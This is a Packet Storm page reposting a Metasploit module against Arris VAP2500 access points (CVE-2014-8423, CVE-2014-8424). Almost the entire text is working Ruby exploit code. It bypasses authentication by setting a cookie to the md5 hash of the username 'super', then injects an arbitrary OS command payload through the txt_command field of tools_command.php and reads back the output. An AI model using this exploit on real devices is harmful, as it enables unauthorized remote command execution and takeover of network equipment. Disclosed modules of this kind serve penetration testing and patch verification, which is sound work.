exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Arris VAP2500 tools_command.php Command Execution

Arris VAP2500 tools_command.php Command Execution
Posted Jan 22, 2015
Authored by HeadlessZeke | Site metasploit.com

Arris VAP2500 access points are vulnerable to OS command injection in the web management portal via the tools_command.php page. Though authentication is required to access this page, it is trivially bypassed by setting the value of a cookie to an md5 hash of a valid username.

tags | exploit, web, php
advisories | CVE-2014-8423, CVE-2014-8424
SHA-256 | a3a633df95163ac8abfd1b19d769fa3b73f2a1713b3feb2b4d0ff3be073861e7

Arris VAP2500 tools_command.php Command Execution

Change Mirror Download
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'Arris VAP2500 tools_command.php Command Execution',
'Description' => %q{
Arris VAP2500 access points are vulnerable to OS command injection in the web management
portal via the tools_command.php page. Though authentication is required to access this
page, it is trivially bypassed by setting the value of a cookie to an md5 hash of a valid
username.
},
'Author' =>
[
'HeadlessZeke' # Vulnerability discovery and Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2014-8423'],
['CVE', '2014-8424'],
['OSVDB', '115045'],
['OSVDB', '115046'],
['BID', '71297'],
['BID', '71299'],
['URL', 'http://goto.fail/blog/2014/11/25/at-and-t-u-verse-vap2500-the-passwords-they-do-nothing/']
],
'DisclosureDate' => 'Nov 25 2014',
'Privileged' => true,
'Payload' =>
{
'DisableNops' => true,
'Space' => 1024,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic telnet'
}
},
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Targets' => [[ 'Automatic', { }]],
'DefaultTarget' => 0
))
end

def check
begin
res = send_request_raw({
'method' => 'GET',
'uri' => '/tools_command.php',
'cookie' => "p=#{Rex::Text.md5('super')}"
})
if res && res.code == 200 && res.body.to_s =~ /TOOLS - COMMAND/
return Exploit::CheckCode::Vulnerable
end
rescue ::Rex::ConnectionError
return Exploit::CheckCode::Unknown
end

Exploit::CheckCode::Safe
end

def exploit
print_status("#{peer} - Trying to access the device ...")

unless check == Exploit::CheckCode::Vulnerable
fail_with(Failure::NotVulnerable, "#{peer} - Failed to access the vulnerable device")
end

print_status("#{peer} - Exploiting...")

if datastore['PAYLOAD'] == 'cmd/unix/generic'
exploit_cmd
else
exploit_session
end
end

def exploit_cmd
beg_boundary = rand_text_alpha(8)
end_boundary = rand_text_alpha(8)

begin
res = send_request_cgi({
'uri' => normalize_uri('/', 'tools_command.php'),
'vars_post' => {
'cmb_header' => '',
'txt_command' => "echo #{beg_boundary}; #{payload.encoded}; echo #{end_boundary}"
},
'method' => 'POST',
'cookie' => "p=#{Rex::Text.md5('super')}"
})

if res && res.code == 200 && res.body.to_s =~ /TOOLS - COMMAND/
print_good("#{peer} - Command sent successfully")
if res.body.to_s =~ /#{beg_boundary}(.*)#{end_boundary}/m
print_status("#{peer} - Command output: #{$1}")
end
else
fail_with(Failure::UnexpectedReply, "#{peer} - Command execution failed")
end
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
end
end

def exploit_session
begin
send_request_cgi({
'uri' => normalize_uri('/', 'tools_command.php'),
'vars_post' => {
'cmb_header' => '',
'txt_command' => "#{payload.encoded}"
},
'method' => 'POST',
'cookie' => "p=#{Rex::Text.md5('super')}"
}, 3)
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
end
end
end
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    0 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close